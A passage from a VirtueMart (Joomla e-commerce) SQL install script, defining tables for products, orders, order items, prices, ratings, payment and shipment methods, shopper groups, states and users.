00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_media_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `i_published` (`published`), KEY `i_shared` (`shared`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Additional Images and Files which are assigned to products' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_migration_oldtonew_ids` (only used for migration) -- CREATE TABLE IF NOT EXISTS `#__virtuemart_migration_oldtonew_ids` ( `id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `cats` longblob, `catsxref` blob, `manus` longblob, `mfcats` blob, `shoppergroups` longblob, `products` longblob, `products_start` int(1), `orderstates` blob, `orders` longblob, `attributes` longblob, `relatedproducts` longblob, `orders_start` int(1), PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='xref table for vm1 ids to vm2 ids' ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_modules` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_modules` ( `module_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `module_name` char(255), `module_description` varchar(21000), `module_perms` char(255), `published` tinyint(1) NOT NULL DEFAULT '1', `is_admin` enum('0','1') NOT NULL DEFAULT '0', `ordering` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`module_id`), KEY `idx_module_name` (`module_name`), KEY `idx_module_ordering` (`ordering`), KEY `i_published` (`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='VirtueMart Core Modules, not: Joomla modules' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_orders` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_orders` ( `virtuemart_order_id` INT(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_user_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1', `order_number` char(64), `customer_number` char(32), `order_pass` char(8), `order_total` decimal(15,5) NOT NULL DEFAULT '0.00000', `order_salesPrice` decimal(15,5) NOT NULL DEFAULT '0.00000', `order_billTaxAmount` decimal(15,5) NOT NULL DEFAULT '0.00000', `order_billTax` varchar(400), `order_billDiscountAmount` decimal(15,5) NOT NULL DEFAULT '0.00000', `order_discountAmount` decimal(15,5) NOT NULL DEFAULT '0.00000', `order_subtotal` decimal(15,5), `order_tax` decimal(10,5), `order_shipment` decimal(10,2), `order_shipment_tax` decimal(10,5), `order_payment` decimal(10,2), `order_payment_tax` decimal(10,5), `coupon_discount` decimal(12,2) NOT NULL DEFAULT '0.00', `coupon_code` char(32), `order_discount` decimal(12,2) NOT NULL DEFAULT '0.00', `order_currency` smallint(1), `order_status` char(1), `user_currency_id` smallint(1), `user_currency_rate` DECIMAL(10,5) NOT NULL DEFAULT '1.00000', `virtuemart_paymentmethod_id` mediumint(1) UNSIGNED, `virtuemart_shipmentmethod_id` mediumint(1) UNSIGNED, `customer_note` varchar(20000), `delivery_date` varchar(200), `order_language` char(7), `ip_address` char(15) NOT NULL DEFAULT '', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_order_id`), KEY `idx_orders_virtuemart_user_id` (`virtuemart_user_id`), KEY `idx_orders_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `idx_orders_order_number` (`order_number`), KEY `idx_orders_virtuemart_paymentmethod_id` (`virtuemart_paymentmethod_id`), KEY `idx_orders_virtuemart_shipmentmethod_id` (`virtuemart_shipmentmethod_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Used to store all orders' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_order_histories` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_order_histories` ( `virtuemart_order_history_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_order_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `order_status_code` char(1) NOT NULL DEFAULT '0', `customer_notified` tinyint(1) NOT NULL DEFAULT '0', `comments` varchar(21000), `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_order_history_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Stores all actions and changes that occur to an order' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_order_items` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_order_items` ( `virtuemart_order_item_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_order_id` int(11), `virtuemart_vendor_id` smallint(11) NOT NULL DEFAULT '1', `virtuemart_product_id` int(11), `order_item_sku` char(64) NOT NULL DEFAULT '', `order_item_name` char(255) NOT NULL DEFAULT '', `product_quantity` int(11), `product_item_price` decimal(15,5), `product_priceWithoutTax` decimal(15,5), `product_tax` decimal(15,5), `product_basePriceWithTax` decimal(15,5), `product_discountedPriceWithoutTax` decimal(15,5), `product_final_price` decimal(15,5) NOT NULL DEFAULT '0.00000', `product_subtotal_discount` decimal(15,5) NOT NULL DEFAULT '0.00000', `product_subtotal_with_tax` decimal(15,5) NOT NULL DEFAULT '0.00000', `order_item_currency` INT(11), `order_status` char(1), `product_attribute` text, `delivery_date` varchar(200), `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_order_item_id`), KEY `virtuemart_product_id` (`virtuemart_product_id`), KEY `i_virtuemart_order_id` (`virtuemart_order_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `order_status` (`order_status`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Stores all items (products) which are part of an order' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_order_calc_rules` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_order_calc_rules` ( `virtuemart_order_calc_rule_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_calc_id` int(11), `virtuemart_order_id` int(11), `virtuemart_vendor_id` smallint(11) NOT NULL DEFAULT '1', `virtuemart_order_item_id` int(11), `calc_rule_name` char(64) NOT NULL DEFAULT '' COMMENT 'Name of the rule', `calc_kind` char(16) NOT NULL DEFAULT '' COMMENT 'Discount/Tax/Margin/Commission', `calc_mathop` char(16) NOT NULL DEFAULT '' COMMENT 'Discount/Tax/Margin/Commission', `calc_amount` decimal(15,5) NOT NULL DEFAULT '0.00000', `calc_result` decimal(15,5) NOT NULL DEFAULT '0.00000', `calc_value` decimal(15,5) NOT NULL DEFAULT '0.00000', `calc_currency` smallint(1), `calc_params` varchar(18000), `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_order_calc_rule_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Stores all calculation rules which are part of an order' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_orderstates` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_orderstates` ( `virtuemart_orderstate_id` tinyint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(11) NOT NULL DEFAULT '1', `order_status_code` char(1) NOT NULL DEFAULT '', `order_status_name` char(64), `order_status_description` varchar(20000), `order_stock_handle` char(1) NOT NULL DEFAULT 'A', `ordering` int(2) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_orderstate_id`), KEY `idx_order_status_ordering` (`ordering`), KEY `idx_order_status_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `i_published` (`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='All available order statuses' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_order_userinfos` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_order_userinfos` ( `virtuemart_order_userinfo_id` INT(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_order_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_user_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `address_type` char(2), `address_type_name` char(32), `company` char(64), `title` char(32), `last_name` char(48), `first_name` char(48), `middle_name` char(48), `phone_1` char(32), `phone_2` char(32), `fax` char(32), `address_1` char(64) NOT NULL DEFAULT '', `address_2` char(64) , `city` char(64) NOT NULL DEFAULT '', `virtuemart_state_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_country_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `zip` char(16) NOT NULL DEFAULT '', `email` char(128), `agreed` tinyint(1) NOT NULL DEFAULT '0', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_order_userinfo_id`), KEY `i_virtuemart_order_id` (`virtuemart_order_id`), KEY `i_virtuemart_user_id` (`virtuemart_user_id`), KEY `idx_address_type` (`address_type`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Stores the BillTo and ShipTo Information at order time' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_paymentmethods` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_paymentmethods` ( `virtuemart_paymentmethod_id` mediumint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(11) NOT NULL DEFAULT '1', `payment_jplugin_id` int(11) NOT NULL DEFAULT '0', `payment_element` char(50) NOT NULL DEFAULT '', `payment_params` varchar(19000), `shared` tinyint(1) NOT NULL DEFAULT '0' COMMENT 'valide for all vendors?', `ordering` int(2) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_paymentmethod_id`), KEY `idx_payment_jplugin_id` (`payment_jplugin_id`), KEY `idx_payment_element` (payment_element,`virtuemart_vendor_id`), KEY `idx_payment_method_ordering` (`ordering`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='The payment methods of your store' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_paymentmethod_shoppergroups` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_paymentmethod_shoppergroups` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_paymentmethod_id` mediumint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_shoppergroup_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_paymentmethod_id` (`virtuemart_paymentmethod_id`,`virtuemart_shoppergroup_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='xref table for paymentmethods to shoppergroup' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_products` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_products` ( `virtuemart_product_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1', `product_parent_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `product_sku` char(64), `product_gtin` char(64), `product_mpn` char(64), `product_weight` decimal(10,4), `product_weight_uom` char(7), `product_length` decimal(10,4), `product_width` decimal(10,4), `product_height` decimal(10,4), `product_lwh_uom` char(7), `product_url` char(255), `product_in_stock` int(1) NOT NULL DEFAULT '0', `product_ordered` int(1) NOT NULL DEFAULT '0', `low_stock_notification` int(1) UNSIGNED NOT NULL DEFAULT '0', `product_available_date` datetime NOT NULL default '0000-00-00 00:00:00', `product_availability` char(32), `product_special` tinyint(1), `product_sales` int(1) UNSIGNED NOT NULL DEFAULT '0', `product_unit` varchar(8), `product_packaging` decimal(8,4) UNSIGNED, `product_params` varchar(2000), `hits` int(11) unsigned, `intnotes` varchar(18000), `metarobot` varchar(400), `metaauthor` varchar(400), `layout` char(16), `published` tinyint(1), `pordering` mediumint(2) UNSIGNED NOT NULL DEFAULT '0', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_product_id`), KEY `idx_product_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `idx_product_product_parent_id` (`product_parent_id`), KEY `i_product_special` (`product_special`), KEY `i_published` (`published`), KEY `i_pordering` (`pordering`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='All products are stored here.' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_product_categories` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_product_categories` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_product_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_category_id` mediumint(1) UNSIGNED NOT NULL DEFAULT '0', `ordering` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_product_id` (`virtuemart_product_id`,`virtuemart_category_id`), KEY `i_ordering` (`ordering`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Maps Products to Categories'; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_product_shoppergroups` -- -- CREATE TABLE IF NOT EXISTS `#__virtuemart_product_shoppergroups` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_product_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_shoppergroup_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_product_id` (`virtuemart_product_id`,`virtuemart_shoppergroup_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Maps Products to Categories'; -- -------------------------------------------------------- -- -- Table structure `#__virtuemart_product_customfields` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_product_customfields` ( `virtuemart_customfield_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT 'field id', `virtuemart_product_id` int(11) NOT NULL DEFAULT '0', `virtuemart_custom_id` int(11) NOT NULL DEFAULT '1' COMMENT 'custom group id', `custom_value` varchar(8000) COMMENT 'field value', `custom_price` decimal(15,5) COMMENT 'price', `custom_param` varchar(12800) COMMENT 'Param for Plugins', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `created_by` int(1) UNSIGNED NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(1) UNSIGNED NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(1) UNSIGNED NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_customfield_id`), KEY `idx_virtuemart_product_id` (`virtuemart_product_id`), KEY `idx_virtuemart_custom_id` (`virtuemart_custom_id`), KEY `idx_published` (`published`), KEY `idx_ordering` (`ordering`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='custom fields' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_product_medias` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_product_medias` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_product_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_media_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_product_id` (`virtuemart_product_id`,`virtuemart_media_id`), KEY `i_ordering` (`ordering`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_product_manufacturers` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_product_manufacturers` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_product_id` int(11), `virtuemart_manufacturer_id` smallint(1) UNSIGNED, PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_product_id` (`virtuemart_product_id`,`virtuemart_manufacturer_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Maps a product to a manufacturer'; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_product_prices` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_product_prices` ( `virtuemart_product_price_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_product_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_shoppergroup_id` int(11), `product_price` decimal(15,5), `override` tinyint(1), `product_override_price` decimal(15,5), `product_tax_id` int(11), `product_discount_id` int(11), `product_currency` smallint(1), `product_price_publish_up` datetime, `product_price_publish_down` datetime, `price_quantity_start` int(11) unsigned, `price_quantity_end` int(11) unsigned, `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_product_price_id`), KEY `i_product_id` (`virtuemart_product_id`), KEY `i_virtuemart_shoppergroup_id` (`virtuemart_shoppergroup_id`), KEY `dx_product_price_publish_up` (`product_price_publish_up`), KEY `dx_product_price_publish_down` (`product_price_publish_down`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Holds price records for a product' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_rating_reviews` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_rating_reviews` ( `virtuemart_rating_review_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_product_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `comment` varchar(18000), `review_ok` tinyint(1) NOT NULL DEFAULT '0', `review_rates` int(1) UNSIGNED NOT NULL DEFAULT '0', `review_ratingcount` int(1) UNSIGNED NOT NULL DEFAULT '0', `review_rating` decimal(10,2) NOT NULL DEFAULT '0.00', `review_editable` tinyint(1) NOT NULL DEFAULT '1', `lastip` char(50) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_rating_review_id`), UNIQUE KEY `i_virtuemart_product_id` (`virtuemart_product_id`,`created_by`), KEY `i_published` (`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_ratings` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_ratings` ( `virtuemart_rating_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_product_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `rates` int(11) NOT NULL DEFAULT '0', `ratingcount` int(1) UNSIGNED NOT NULL DEFAULT '0', `rating` decimal(10,1) NOT NULL DEFAULT '0.0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_rating_id`), UNIQUE KEY `i_virtuemart_product_id` (`virtuemart_product_id`,`virtuemart_rating_id`), KEY `i_published` (`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Stores all ratings for a product'; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_rating_votes` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_rating_votes` ( `virtuemart_rating_vote_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_product_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `vote` int(11) NOT NULL DEFAULT '0', `lastip` char(50) NOT NULL DEFAULT '0', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_rating_vote_id`), UNIQUE KEY `i_virtuemart_product_id` (`virtuemart_product_id`,`created_by`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Stores all ratings for a product'; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_shipmentmethods` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_shipmentmethods` ( `virtuemart_shipmentmethod_id` mediumint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(11) NOT NULL DEFAULT '1', `shipment_jplugin_id` int(11) NOT NULL DEFAULT '0', `shipment_element` char(50) NOT NULL DEFAULT '', `shipment_params` varchar(19000), `ordering` int(2) NOT NULL DEFAULT '0', `shared` tinyint(1) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_shipmentmethod_id`), KEY `idx_shipment_jplugin_id` (`shipment_jplugin_id`), KEY `idx_shipment_element` (shipment_element,`virtuemart_vendor_id`), KEY `idx_shipment_method_ordering` (`ordering`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Shipment created from the shipment plugins' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_shipmentmethods_shoppergroups` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_shipmentmethod_shoppergroups` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_shipmentmethod_id` mediumint(1) UNSIGNED, `virtuemart_shoppergroup_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_shipmentmethod_id` (`virtuemart_shipmentmethod_id`,`virtuemart_shoppergroup_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='xref table for shipment to shoppergroup' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_shoppergroups` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_shoppergroups` ( `virtuemart_shoppergroup_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(11) NOT NULL DEFAULT '1', `shopper_group_name` char(64), `shopper_group_desc` char(128), `custom_price_display` tinyint(1) NOT NULL DEFAULT '0', `price_display` blob, `default` tinyint(1) NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', `shared` tinyint(1) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_shoppergroup_id`), KEY `idx_shopper_group_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `idx_shopper_group_name` (`shopper_group_name`), KEY `i_ordering` (`ordering`), KEY `i_shared` (`shared`), KEY `i_published` (`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Shopper Groups that users can be assigned to' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_states` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_states` ( `virtuemart_state_id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1', `virtuemart_country_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1', `virtuemart_worldzone_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `state_name` char(64), `state_3_code` char(3), `state_2_code` char(2), `ordering` int(2) NOT NULL DEFAULT '0', `shared` tinyint(1) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_state_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`), UNIQUE KEY `idx_state_3_code` (`virtuemart_vendor_id`,`virtuemart_country_id`,`state_3_code`), UNIQUE KEY `idx_state_2_code` (`virtuemart_vendor_id`,`virtuemart_country_id`,`state_2_code`), KEY `i_virtuemart_country_id` (`virtuemart_country_id`), KEY `i_ordering` (`ordering`), KEY `i_shared` (`shared`), KEY `i_published` (`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='States that are assigned to a country' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_vmusers` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_vmusers` ( `virtuemart_user_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `user_is_vendor` tinyint(1) NOT NULL DEFAULT '0', `customer_number` char(32), `perms` char(40) NOT NULL DEFAULT 'shopper', `virtuemart_paymentmethod_id` mediumint(1) UNSIGNED, `virtuemart_shipmentmethod_id` mediumint(1) UNSIGNED, `agreed` tinyint(1) NOT NULL DEFAULT '0', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_user_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`), UNIQUE KEY `i_virtuemart_user_id` (`virtuemart_user_id`,`virtuemart_vendor_id`), KEY 